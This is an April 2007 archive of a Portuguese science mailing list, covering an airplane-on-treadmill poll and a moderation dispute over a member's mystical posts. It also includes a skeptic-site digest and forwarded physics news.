Será que numa próxima oportunidade, que voltar a discussão sobre o problema
do avião se deslocando sobre uma esteira, as pessoas vão pensar melhor a
questão ou vão continuar com as mesmas posições? No início havia confusão e
dúvidas. Depois que Luiz apresentou seu esquema, os indecisos se convenceram
que voa, Victor e Ricardo entre eles. Takata concluiu que depende. Luiz
ficou quieto. Victor e Ricardo calaram. Homero, não apegou-se a uma das
opões e fechou-se aos argumentos que apresentei em relação a uma outra
opção, até que desistiu... E o problema se esvaiu sem maiores conclusões
firmadas.
Qual seria o balanço das opiniões afinal?

1. Voa sim, com o dobro da velocidade da correia.

2. Voa sim, qualquer que seja a velocidade da correia

3. Não voa, qualquer que seja a velocidade da correia.

4. Voa ou não, dependendo do ponto de referência para a medição da
velocidade do avião: voa quando é medida em relação ao solo; não voa quando
é medida em relação à correia.

5. Nenhuma das respostas acima. (Para quem escolher essa opção, parece-me
importante indicar qual seria sua resposta.)

Abraços

José Renato

[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: Res: [ciencialist] PEDIDO DE EXCLUSAO
FROM: "Eurico Ferreira de Souza Jr." <caodejah@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/04/2007 10:37

[E]> não acompanhei o assunto (realmente é um saco!)
mas... houve advertência, colocou ele como moderado,
ou já vai ser expulsão sumária?
Se formos usar essa pena pro ferrari, o que faremos
com os spams, pirâmides e crenças fervorosas? vamos
mandar vírus? :D

_\|/_

----- Mensagem original ----
De: Luiz Ferraz Netto <leobarretos@uol.com.br>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Segunda-feira, 2 de Abril de 2007 17:56:20
Assunto: [ciencialist] PEDIDO DE EXCLUSAO













Senhores do C-List,



com base nas papagaiadas dessa mensagem (adicionada às dezenas de anteriores) e tendo-se em vista que C-List é muito lida e avaliada por muitos, proponho, para que não caiamos no escárnio de nossos leitores, a exclusão do Sr. Ferrari desta lista. Se necessário, daremos "cartas de recomendação" para outras listas que estejam dispostas a lerem suas 'profundas manifestações filosóficas'.



Já tenho até receio de falar em Ciência nessa lista!



No aguardo,



aquele abraço,

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Luiz Ferraz Netto [Léo]

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SUBJECT: Re: [ciencialist] PEDIDO DE EXCLUSAO
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/04/2007 10:55

Nao tenho opiniao pronta e resposta magica para este tipo de situacao.

Acho mais sensato por em moderacao (o que jah foi feito) e aguardar
os proximos capitulos.

Ateh
Luis Brudna - administrador



On 4/3/07, Eurico Ferreira de Souza Jr. <caodejah@yahoo.com.br> wrote:
>
>
>
>
>
>
> [E]> não acompanhei o assunto (realmente é um saco!)
> mas... houve advertência, colocou ele como moderado,
> ou já vai ser expulsão sumária?
> Se formos usar essa pena pro ferrari, o que faremos
> com os spams, pirâmides e crenças fervorosas? vamos
> mandar vírus? :D
>
> _\|/_
>


SUBJECT: CeticismoAberto.com atualizado 03/04/2007
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>, curtasca@yahoogroups.com
DATE: 03/04/2007 11:15

*:: CeticismoAberto.com atualizado 03/04/2007**:: UFOLOGIA
*

* <http://www.ceticismoaberto.com/ufologia/gauche_encounters.htm>*Martin
Kottmeyer
*"Gauche Encounters": Filmes B e o mito
OVNI<http://www.ceticismoaberto.com/ufologia/gauche_encounters.htm>
*
Muito do fenômeno OVNI tem o ar da licença dramática, uma mentalidade
criativa "vale-tudo" que toma emprestado recursos que se originaram na
ficção científica.

* <http://www.ceticismoaberto.com/ufologia/caso_billy_meier.htm>*Philior
*O caso de Billy Meier: Mais provas conclusivas de
fraude<http://www.ceticismoaberto.com/ufologia/caso_billy_meier.htm>
*
Conta-se que a ex-esposa de Meier revelou que ele construiu o modelo da nave
extraterrestre usando a tampa de uma lata de lixo e utensílios de cozinha.

* <http://www.ceticismoaberto.com/ufologia/primeiro_marciano.htm>*Luis Ruiz
Noguez
*O Primeiro Marciano<http://www.ceticismoaberto.com/ufologia/primeiro_marciano.htm>
*
No fim de junho de 1950 surgiu outra notícia, qualificada por oficiais da
Força Aérea americana como a mais descabelada de todas aquelas sobre discos
voadores.

* <http://www.ceticismoaberto.com/ufologia/onda_ovnibelga.htm>*Marc Hallet
*A tal da "Onda OVNI Belga": Uma visão
crítica<http://www.ceticismoaberto.com/ufologia/onda_ovnibelga.htm>
*
Durante vários anos a SOBEPS tentou convencer o mundo acadêmico de que havia
adotado uma atitude científica em seu estudo de OVNIs.
:: CIÊNCIA

* <http://www.ceticismoaberto.com/ciencia/kammerer_sapo.htm>*Kentaro Mori
*Kammerer e o Sapo
Parteiro<http://www.ceticismoaberto.com/ciencia/kammerer_sapo.htm>
*
A idéia folclórica de que o uso ou desuso de órgãos pode ser transmitido
diretamente para as gerações seguintes acabou se tornando a primeira
proposta científica de evolução das espécies.

* <http://www.ceticismoaberto.com/ciencia/busca_sem_fim.htm>*Kentaro Mori
*Busca sem fim: A história, as propostas e as decepções das máquinas de
movimento perpétuo<http://www.ceticismoaberto.com/ciencia/busca_sem_fim.htm>
*
Um manuscrito de 2.500 anos possui descrições de uma roda de movimento
perpétuo, e o próprio Leonardo da Vinci abordou o tema ao final do século
XV.

* <http://www.ceticismoaberto.com/ciencia/motoperpetuo_hoje.htm>*Kentaro
Mori
*Motos perpétuos
hoje<http://www.ceticismoaberto.com/ciencia/motoperpetuo_hoje.htm>
*
Tentativas modernas de alcançar o moto perpétuo procuram evitar o rótulo e
recorrem a fictícios princípios intrincados e secretos, sempre em processo
de desenvolvimento.

* <http://www.ceticismoaberto.com/ciencia/leis_termodinamica.htm>*Kentaro
Mori
*Defenda as leis da
termodinâmica<http://www.ceticismoaberto.com/ciencia/leis_termodinamica.htm>
*
Ajude a fiscalizar o bom cumprimento das leis da termodinâmica em nosso
Universo. A seguir apresentaremos algumas propostas de motos perpétuos.

* <http://www.ceticismoaberto.com/ciencia/computador_quantico.htm>*Kentaro
Mori
*O Computador Quântico Desatador de
Nós<http://www.ceticismoaberto.com/ciencia/computador_quantico.htm>
*
Capazes de realizar literalmente 'tudo ao mesmo tempo agora', computadores
quânticos calculariam inúmeras possibilidades e resultados de uma só vez.
:: CETICISMO

* <http://www.ceticismoaberto.com/ufologia/camera_photoshop.htm>*Kentaro
Mori
*A câmera Photoshop<http://www.ceticismoaberto.com/ufologia/camera_photoshop.htm>
*
Toda câmera digital possui uma espécie de Photoshop embutido, um sistema de
processamento de imagens. Nenhuma imagem digital está livre de manipulações.


* <http://www.ceticismoaberto.com/ceticismo/doutor_invencivel.htm>*Luis Ruiz
Noguez
*A Navalha do Doutor
Invencível<http://www.ceticismoaberto.com/ceticismo/doutor_invencivel.htm>
*
Algo sobre o *Venerabilis Inceptor *(Venerável Bacharel) ou *Doctor
Invincibilis *(Doutor Invencível), também conhecido como Guilherme de Occam,
para quem a Natureza sempre escolhe o caminho mais simples.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] PEDIDO DE EXCLUSAO
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/04/2007 11:47

Renato:

Eu sou um sos participantes mais censurados do grupo tanto pela irreverência como pela colocação de textos off-toppic. E sempre que censurado, peço desculpas, aceito o puxam de orelhas.
Agora, solicitar a saída de um companheiro do quilate do Ferrari, sxem maiores considerações sobre a pessoa e intelectualidade dele, é apenas um ato não democrático.
Como o grupo é moderado, que os moderadores, que são os proprietários da lista, que usem de suas prerrogativas.
Pedir, por motivos ideológicos a defenestração de um companheiro é negar o próprio nome da lista.

sds.,
silvio.
----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Monday, April 02, 2007 11:46 PM
Subject: Re: [ciencialist] PEDIDO DE EXCLUSAO


Olá, Luiz! O Ferrari está dialogando com os listeiros porque os listeiros
estão interagindo com ele. Se não fosse do interesse do grupo, nenhum
listeiro responderia ou tentaria contra argumentar. Ele tem uma visão mais
livre da realidade, diferente das mesmices dos livros didáticos impostos aos
nossos estudantes. Não acredito que a exclusão proposta por vc vá melhorar a
objetividade dos listeiros que interagem intensamente com ele e - como não
conseguem impor seus argumentos científicos - ficam reclamando que ele não
diz coisa com coisa, que a lista não tem mais ciência e outras desculpas que
sirvam de motivo para moderá-lo ou excluí-lo da lista. Isso não me parece
ser uma atitude nobre. Nem científica.
[]s
José Renato
.............................................

----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, April 02, 2007 5:56 PM
Subject: [ciencialist] PEDIDO DE EXCLUSAO

Senhores do C-List,

com base nas papagaiadas dessa mensagem (adicionada às dezenas de
anteriores) e tendo-se em vista que C-List é muito lida e avaliada por
muitos, proponho, para que não caiamos no escárnio de nossos leitores, a
exclusão do Sr. Ferrari desta lista. Se necessário, daremos "cartas de
recomendação" para outras listas que estejam dispostas a lerem suas
'profundas manifestações filosóficas'.

Já tenho até receio de falar em Ciência nessa lista!

No aguardo,

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 2 de abril de 2007 14:00
Assunto: [ciencialist] RE: Murilo: Como funciona o processo...?

Olá Murilo Anderson!

Murilo >>> Acho bom a gente ter cuidado, pq já
brigamos antes e meu tempo é curto.

--- Mr. Anderson, tá com pressa de chegar a onde?
Hehehehe... Relaxa: qualquer lugar que vc chegar será
apenas um lugar qualquer.

Murilo >>> Eu posso sim decidir não exercitar minha
dialética.

--- Sim, isto é o que o Mr. Anderson pensa.

Murilo >>> Há que existir um mínimo de base filosófica
p/esse tipo de papo, vc sabe.

--- Não é base filosofica, é consciencial.

Murilo >>> "Livre arbítrio" existe sim, vc não poderá
negar.

--- Mr. Anderson, não estou dizendo que não existe o
processo do livre-arbítrio. Sim, existe. O que estou
dizendo é que não existe o processo do livre-arbítrio
tal qual os espíritas, os católicos, e até mesmo os
ateus o compreendem e definem. Ou seja, não existe
livre-arbítrio na ação. O livre-arbítrio é um processo
do espírito (consciencia) e não dá mente (cérebro).

Murilo >>> A metáfora do Orlando se deve às diferenças
entre os mundos dos interlocutores.

--- Hehehehehe... Já ouviu o termo "loucura
controlada". Foi o carlos castanheda que invetou. Me
sinto assim, controlado entre uma loucura e outra.

--- Observe isto aqui: O dificil não é ser louco. Ser
louco é fácil, é natural, o dificil é ser normal.
Abrimos a mão e a pedra cai. Não é preciso esforço
para ser natural, só é preciso esforço para ser
cultural.

Murilo >>> Prá mim, um proto-hyppie, um sítio ainda
está faltando em minha vida.

--- Já tentou um acordo com a Agente Smith? O Cifer
consegiu uma fazenda no Arizona que é uma beleza.

Murilo >>> Que eternidade é esta que não tarda nem
falha?

--- Alguma vez vc já testemunhou uma dia que não
trouxesse uma noite? Ou uma noite que não trouxesse um
dia? Alguma vez vc já testemunhou uma hora que não
tivesse 60 minutos? Um minuto que não tivesse 60
seguntos, e assim por diante...

--- Eis ai a eternidade que não tarda nem falha.

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abç. ferrari

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: A Força que Nunca Seca ::: (sobre onipotência)
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/04/2007 13:05

Lista,

Além da sugestão que ofereci abaixo, acrescento a seguinte:
Se alguém sentir-se animado a discutir o assunto proposto, fazê-lo em pvt, diretamente com o poeta e filósofo Ferrari. Acho que ele toparia. Ou então discutiria em algum outro fórum mais competente para o mister. Pronto. Evitar-se-ia poluir mais ainda esta lista com esses assuntos, que nada têm a ver com ciência. Não se puniria, em qualquer nível, quem chama para o debate e não haveria desvios dos objetivos do Ciencialist que, diga-se de passagem, tem discutido, nos últimos tempos, coisas que nada têm de científicas, por outros participantes(eu, incluso, rezo mea culpa, mea média culpa.)

Acho que é por aí.

Sds,
Victor.

----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Monday, April 02, 2007 7:38 PM
Subject: Re: [ciencialist] Re: A Força que Nunca Seca ::: (sobre onipotência)


...ou, simplesmente, nada responder. As respostas são a alimentação para o "fenômeno". Matar de fome, eis a solução mais simples.
Nada tenho contra discutir tal o qual baboseira, segundo meu entendimento. Que pode não ser baboseira para quem disso use. Só que este fórum não é local adequado.

Sds,
Victor.

----- Original Message -----
From: oraculo333
To: ciencialist@yahoogrupos.com.br
Sent: Monday, April 02, 2007 6:04 PM
Subject: [ciencialist] Re: A Força que Nunca Seca ::: (sobre onipotência)

Olá Leo

Leo: "Sugiro aos demais moderadores pensarem na opção 'deletar'; têm
minha aprovação."

Eu voto a favor..:-) Nunca li tanta bobagem junta, em especial em
algo com a pretensão de ser "científico". Acho que nem o Capra e o
Goswami escreveram algo tão confuso, fora de propósito, sem sentido e
incoerente assim.

Mistura termos, confunde conceitos, cria afirmações do nada, e não
apresenta nenhuma evidência a sustentar as alegações apreentadas.
Coisas como "energia é o amor de deus" e outras "frases de impacto",
que nada significam, não podem ser verificadas ou sustentadas, só bobagem.

Não dá nem para tentar responder, tal o nível de absurdos contido no
texto.

Fala sério, frases como estas - O AMOR DE DEUS NÃO É BOM NEM RUIM: É
ENERGIA - A ENERGIA UNIVERSAL É UMA FORÇA CEGA. - não servem nem como
exemplo de coisa sem sentido, passam da conta..:-) Desagradam
religiosos, que acreditam em deuses, por ser idiota (um amor que não é
nem bom nem ruim, não é nada, não serve para nada, e não se diferencia
de NENHUM amor), e desagradam cientistas e pessoas racionais, por
serem sem sentido e absurdas.

Fica meu voto, para permitir que a lista respire de novo uma atmosfera
de racionalidade e lógica, no sentido de deletar bobagens desse calibre.

Um abraço.

Homero

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Aqui não é lista religiosa. Se analisado sob cunho científico o
texto é uma enxurrada de bobagens:
> Força é úmida (pois nunca seca)
> energia é força (então prá que duas palavras para o mesmo conceito)
> e as bobagens se amontoam.
>
> Sugiro aos demais moderadores pensarem na opção 'deletar'; têm minha
aprovação.
>
> []'
>
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Ferrari" <emailferrari@...>
> Para: <emailferrari@...>
> Enviada em: segunda-feira, 2 de abril de 2007 15:04
> Assunto: [ciencialist] A Força que Nunca Seca ::: (sobre onipotência)
>
>
> A FORÇA QUE NUNCA SECA
> http://lampadadealadim.blogspot.com
>
> (sobre onipotência)
>
> <<< por isto uma força me leva a cantar / por isto
> esta força estranha no ar / por isto é que eu canto
> não posso parar >>> (Caetano Veloso)
>
> Embora não possamos tocar deus com as mãos, ou vê-lo
> com os olhos, ou escutá-lo com os ouvidos, ele nos é
> revelado através de sua constante manifestação e da
> nossa capacidade de percepção. Assim, podemos vê-lo
> iluminando um quarto escuro, senti-lo no calor do
> fogo, ouvi-lo numa musica. Som, luz, calor são alguns
> exemplos de como podemos constantemente detectar,
> decodificar e deduzir deus através da sua constante
> manifestação.
>
> A MANIFESTAÇÃO UNIVERSAL É A TOMADA DA EVOLUÇÃO.
>
> Já aconteceu de você estar no cinema e, de repente,
> acabar a energia? O que aconteceu com cada uma das
> formas cinematográficas que estavam se manifestando na
> tela? Todas desapareceram simultaneamente, não foi?
> Quando falta eletricidade num parque de diversões, o
> que acontece? Todos os brinquedos param
> simultaneamente, não é? Analogamente, a manifestação
> de deus é a força responsável por transformar
> (atualizar) todas as formas do conteúdo universal.
> Desligada a manifestação universal cessariam
> simultaneamente todas as formas e transformações
> (evolução). O universo seria apenas um conteúdo
> inerte, assim como um mar sem ondas ou um filme sem
> projeção. Popularmente chamamos a manifestação
> universal de energia. Sendo assim, cabe aqui e agora
> outra definição: o que é energia?
>
> ENERGIA UNIVERSAL É A MANIFESTAÇÃO UNIVERSAL DO SER
> UNIVERSAL. É A FORÇA ONIPOTENTE. É O MOVIMENTO DA
> ETERNIDADE. É O AMOR DE DEUS.
>
> Energia é a força que nunca seca. É o amor de deus, ou
> como diz a semantica cristã: é o sangue de cristo que
> é (constantemente) derramado por nós. Ou seja, energia
> universal é o que mantém funcionando o eterno processo
> de transformação das formas (evolução). É a força
> eterna que mantém os brinquedos (formas) do parque de
> diversões (cérebro de deus) em funcionamento
> constante.
>
> No principio era "o" verbo, diz a semantica cristã. O
> que isto significa? Significa que o amor de deus é "o"
> verbo, causa de todos os outros verbos. Ou seja, é a
> continua manifestação de deus que faz o universo se
> conjugar no presente contínuo. Pense nas quatro forças
> que a fisica teoriza: eletricidade, magnetismo, força
> fraca e forte. Como essas quatro forças poderiam
> existir sem a manifestação universal? Não poderiam. As
> quatro forças que a ciência teoriza é o amor de deus
> visto por quatro teorias diferentes.
>
> O AMOR DE DEUS NÃO É BOM NEM RUIM: É ENERGIA.
>
> Imagine que você é um açougueiro que precisa moer um
> quilo de carne de vaca, porém, como a tomada na parede
> do seu açougue é vegetariana, ela se recusa a lhe
> fornecer energia. Situação absurda, não é? Mas este
> exemplo serve para nos mostrar que a energia universal
> (amor de deus) tem uma característica fundamental:
>
> A ENERGIA UNIVERSAL É UMA FORÇA CEGA.
>
> Assim como a companhia elétrica fornece eletricidade
> independente do uso que o usuário irá fazer da
> eletricidade, assim o ser universal (deus) também
> fornece seu amor para todos os seres criarem e
> alimentarem o comportamento que bem entenderem. A
> energia universal é cega para o uso que os seres fazem
> dela. Ou seja, podemos usar a energia universal tanto
> para amar o próximo como para odiá-los. Podemos usar a
> energia universal tanto para criar espaçonaves como
> bombas atômicas. Podemos usar a energia universal
> tanto para tomar banho quente de chuveiro como para
> matar pessoas eletrocutadas.
>
> O AMOR DE DEUS SEMPRE APÓIA TODOS OS SERES EM QUALQUER
> OBJETIVO.
>
>
> http://lampadadealadim.blogspot.com
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> EXPERIMENTE XIXI COM TINTA
> O novo livro de Marcelo Ferrari:
>
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> Meu portal:
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[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fótons, fótons, vocês são assim mesmo?
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/04/2007 13:18

Lista,

Os experimentos a respeito do comportamento de entes quânticas teimam em mostrar que estes se comportam conforme "decreta" a física quântica!.
http://forjadores.net/index.php?option=com_content&task=view&id=456&Itemid=27

Não pude verificar em que laboratório, e quais físicos, realizaram os trabalhos do tipo descrito. Apesar de os resultados não constituirem nenhuma novidade extra.
Mas...

Sds,
Victor.

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: [relatividad] ¿Puede violarse en la Tierra la Segunda Ley de Newton?
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/04/2007 13:25

Lista,

Eis novas especulações, desta vez envolvendo a 2a, Lei de Newton. Tinha muita graça!.
Mas não aprofundei nada, ainda. Só lí, rapidamente.
Gostaria de ler opiniões a respeito.

Sds,
Victor.

----- Original Message -----
From: Jairo del Carpio
To: relatividad@yahoogroups.com
Sent: Tuesday, April 03, 2007 12:41 AM
Subject: [relatividad] ¿Puede violarse en la Tierra la Segunda Ley de Newton?


SACADO DE LA PAGINA WEB
http://arxiv.org/abs/gr-qc/0612159

http://arxiv.org/pdf/gr-qc/0612159



¿Puede violarse en la Tierra la Segunda Ley de Newton?

Los astrofísicos han encontrado pruebas de que una versión corregida de la Segunda Ley de Newton (que trabaja con la aceleración de una masa) funciona bien a las grandes escalas del Universo.

Estas modificaciones a la física Newtoniana se conocen como "Dinámicas Newtonianas Modificadas (modified Newtonian dynamics -- MOND). "Newton ofrece unos cimientos para la mecánica clásica al relacionar la fuerzas, masas y las aceleraciones", explica Alex Ignatiev a PhysOrg.com. "Esto siempre es cierto, excepto en casos especiales".

Ignatiev ha desarrollado una forma de detectar tales casos especiales, trabajando con pequeñas aceleraciones en la Tierra. Este tipo de experimento es algo considerado tan complejo que en el pasado ha sido descartado por imposible. "Ahora tenemos observaciones de esta teoría mediante pruebas astrofísicas", apunta Ignatiev, científico en el Instituto de Investigación de Física Teórica en Melbourne, Australia. "Quiero ver cómo funciona esto en la Tierra". La sugerencia de Ignatiev sobre cómo podría llevarse a cabo esto ha sido publicada en Physical Review Letters como "Is Violation of Newton's Second Law Possible? (¿Es posible violar la Segunda Ley de Newton?)".

¿Y las implicaciones de la violación de la Segunda Ley de Newton bajo condiciones especiales en la Tierra? "Bueno", dice Ignatiev, "esto es tratar con la física fundamental. Si puede verse que la Ley de Newton se viola en la Tierra, entonces todo lo que conocemos debe ser reevaluado".

Pero aquí es donde comienzan las dificultades con la sugerencia de Ignatiev. "Las condiciones para probar esto son verdaderamente especiales", explica. "El tiempo y el lugar deben ser tenidos en cuenta". De acuerdo con Ignatiev, los posibles lugares para llevar a cabo este experimento caen a 80 grados al norte y sur del ecuador. "Estas son latitudes de lugares como la Antártica o Groenlandia - áreas no precisamente hospitalarias". Pero el tiempo es también importante. "Debe estar afinado con gran precisión", insiste Ignatiev. "Sólo dos momentos durante el año, alrededor de las dos fechas de equinoccios, durante aproximadamente una milésima de segundo".

Si estos experimentos tuvieran lugar, Ignatiev dicen que los científicos buscarían lo que él llama Efecto SHLEM. Este acrónimo significa static high latitude equinox modified inertia (Inercia Modificada para Equinoccio a Altas Latitudes Estáticas) y se notaría en una condición donde las fuerzas de rotación de la Tierra sobre su eje, y la fuerza orbital de la Tierra en su movimiento alrededor del Sol, se cancelaran entre sí. "Esto llevaría a detectar un ligerísimo desplazamiento", explica Ignatiev.

¿Pero cómo de falsable es esto? Aparte de los cálculos que ya ha realizado para fijar las fechas, tiempos y lugares para que se manifieste el Efecto SHLEM, Ignatiev dice que el experimento puede realizarse - no es imposible como se pensaba anteriormente.

"Los detectores de ondas gravitatorias son excelentes puntos de inicio", dice. Ignatiev explica que la búsqueda de diminutos desplazamientos en la gravedad podría ayudar a comprender diminutos desplazamiento, o aceleraciones. "Incluso aunque estamos buscando distintas fuerzas", dice Ignatiev, "los métodos de detección por gravedad pueden tomarse prestados para esta investigación. Después de todo, la gravedad es una fuerza débil con toda clase de pequeños desplazamientos, y los desplazamientos de aceleración son igualmente débiles y diminutos". Y, añade, hay gran cantidad de estos detectores de ondas gravitatorias en uso y más aún en construcción. "Muchos de ellos están disponibles, y podría promover esta investigación".

A pesar de estas condiciones especiales necesarias para probar las violaciones de la Segunda Ley de Newton en la Tierra, Ignatiev siente que esto podría merecer la pena. "Esto sería difícil, pero no imposible. El Efecto SHLEM es la clave. Y si podemos encontrar una violación, sería grandioso para la física fundamental".

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SUBJECT: Re: [ciencialist] PEDIDO DE EXCLUSAO
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 03/04/2007 13:36

Não concordo com a exclusão nem com a moderação.
Ele tem todo o direito de expor suas idéias. Se vocês
não querem discutir com ele, tudo bem mas tolhe-lo no
seu direito é demais. Ele não ofendeu ninguem e quando
ofendeu(takata) pediu desculpas. Eu mesmo já venho
chamando a atenção dele faz tempo para que ele seja
mais objetivo. Além do mais, quando notei que ele
estava sendo "ad-hoc" excessivamente simplesmente não
continuei a discussão. Fica aqui meu protesto quanto a
moderação.
Se a questão é definir o que é ciência e portanto o
que se deve discutir nessa lista, aí voltamos a velha
e interminável discussão do que seja ciência. Nesse
caso, acho que não será muito produtivo. Melhor mesmo
é deixar ele falar.

--- Luis Brudna <luisbrudna@gmail.com> escreveu:

> Nao tenho opiniao pronta e resposta magica para
> este tipo de situacao.
>
> Acho mais sensato por em moderacao (o que jah foi
> feito) e aguardar
> os proximos capitulos.
>
> Ateh
> Luis Brudna - administrador
>
>
>
> On 4/3/07, Eurico Ferreira de Souza Jr.
> <caodejah@yahoo.com.br> wrote:
> >
> >
> >
> >
> >
> >
> > [E]> não acompanhei o assunto (realmente é um
> saco!)
> > mas... houve advertência, colocou ele como
> moderado,
> > ou já vai ser expulsão sumária?
> > Se formos usar essa pena pro ferrari, o que
> faremos
> > com os spams, pirâmides e crenças fervorosas?
> vamos
> > mandar vírus? :D
> >
> > _\|/_
> >
>


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Sobre banimento e moderação (era A Força que Nunca Seca ::: (sobre onipotência)
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 03/04/2007 14:37

Olá pessoal

Minha posição, nas mensagens anteriores, sempre se referiram as mensagens, não ao próprio Ferrari. Talvez não tenha ficado claro, mas a proposta era evitar as mensagens mais malucas e do tipo "flood" e spam, não necessariamente expulsar ninguém.

A mensagem inicial, inclusive, falava em deletar os absurdos, não em banir pessoas. O foco de toda discussão é que deve se manter na ciência, pois é uma lista destinada a isso. Nada contra falar sobre um novo filme que se gostou, ou sobre uma nova receita, mas a insistência em um desses assuntos, tomando dezenas de mensagens, sem se preocupar em voltar ao foco básico da lista, é desagradável, contraprodutiva, e espanta novos usuários.

Além disso, existindo centenas, milhares de listas dispostas a viagens da imaginação, poesia, esoterismos diversos, que adorariam estas mensagens, envia-las recorrentemente a Ciencia list é mais uma provocação do que um debate. Seria o mesmo que entrar em uma lista católica para enviar textos violentamente anticlericais só de gozação.

Não que não se possa criticar a ciência aqui, pelo contrário, é o rigor de análise que mantém a ciência em movimento, e uma crítica bem embasada é a maior alegria desta lista..:-) Mas, é preciso que mesmo a crítica seja feita de forma coerente, lógica, racional, ou ficamos apenas com divindades malucas e alegações sem sentido.

Um abraço.

Homero

----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, April 03, 2007 1:05 PM
Subject: Re: [ciencialist] Re: A Força que Nunca Seca ::: (sobre onipotência)


Lista,

Além da sugestão que ofereci abaixo, acrescento a seguinte:
Se alguém sentir-se animado a discutir o assunto proposto, fazê-lo em pvt, diretamente com o poeta e filósofo Ferrari. Acho que ele toparia. Ou então discutiria em algum outro fórum mais competente para o mister. Pronto. Evitar-se-ia poluir mais ainda esta lista com esses assuntos, que nada têm a ver com ciência. Não se puniria, em qualquer nível, quem chama para o debate e não haveria desvios dos objetivos do Ciencialist que, diga-se de passagem, tem discutido, nos últimos tempos, coisas que nada têm de científicas, por outros participantes(eu, incluso, rezo mea culpa, mea média culpa.)

Acho que é por aí.

Sds,
Victor.

----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Monday, April 02, 2007 7:38 PM
Subject: Re: [ciencialist] Re: A Força que Nunca Seca ::: (sobre onipotência)

...ou, simplesmente, nada responder. As respostas são a alimentação para o "fenômeno". Matar de fome, eis a solução mais simples.
Nada tenho contra discutir tal o qual baboseira, segundo meu entendimento. Que pode não ser baboseira para quem disso use. Só que este fórum não é local adequado.

Sds,
Victor.

----- Original Message -----
From: oraculo333
To: ciencialist@yahoogrupos.com.br
Sent: Monday, April 02, 2007 6:04 PM
Subject: [ciencialist] Re: A Força que Nunca Seca ::: (sobre onipotência)

Olá Leo

Leo: "Sugiro aos demais moderadores pensarem na opção 'deletar'; têm
minha aprovação."

Eu voto a favor..:-) Nunca li tanta bobagem junta, em especial em
algo com a pretensão de ser "científico". Acho que nem o Capra e o
Goswami escreveram algo tão confuso, fora de propósito, sem sentido e
incoerente assim.

Mistura termos, confunde conceitos, cria afirmações do nada, e não
apresenta nenhuma evidência a sustentar as alegações apreentadas.
Coisas como "energia é o amor de deus" e outras "frases de impacto",
que nada significam, não podem ser verificadas ou sustentadas, só bobagem.

Não dá nem para tentar responder, tal o nível de absurdos contido no
texto.

Fala sério, frases como estas - O AMOR DE DEUS NÃO É BOM NEM RUIM: É
ENERGIA - A ENERGIA UNIVERSAL É UMA FORÇA CEGA. - não servem nem como
exemplo de coisa sem sentido, passam da conta..:-) Desagradam
religiosos, que acreditam em deuses, por ser idiota (um amor que não é
nem bom nem ruim, não é nada, não serve para nada, e não se diferencia
de NENHUM amor), e desagradam cientistas e pessoas racionais, por
serem sem sentido e absurdas.

Fica meu voto, para permitir que a lista respire de novo uma atmosfera
de racionalidade e lógica, no sentido de deletar bobagens desse calibre.

Um abraço.

Homero

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Aqui não é lista religiosa. Se analisado sob cunho científico o
texto é uma enxurrada de bobagens:
> Força é úmida (pois nunca seca)
> energia é força (então prá que duas palavras para o mesmo conceito)
> e as bobagens se amontoam.
>
> Sugiro aos demais moderadores pensarem na opção 'deletar'; têm minha
aprovação.
>
> []'
>
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> Luiz Ferraz Netto [Léo]
> leobarretos@...
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> -----Mensagem Original-----
> De: "Ferrari" <emailferrari@...>
> Para: <emailferrari@...>
> Enviada em: segunda-feira, 2 de abril de 2007 15:04
> Assunto: [ciencialist] A Força que Nunca Seca ::: (sobre onipotência)
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> A FORÇA QUE NUNCA SECA
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>
> <<< por isto uma força me leva a cantar / por isto
> esta força estranha no ar / por isto é que eu canto
> não posso parar >>> (Caetano Veloso)
>
> Embora não possamos tocar deus com as mãos, ou vê-lo
> com os olhos, ou escutá-lo com os ouvidos, ele nos é
> revelado através de sua constante manifestação e da
> nossa capacidade de percepção. Assim, podemos vê-lo
> iluminando um quarto escuro, senti-lo no calor do
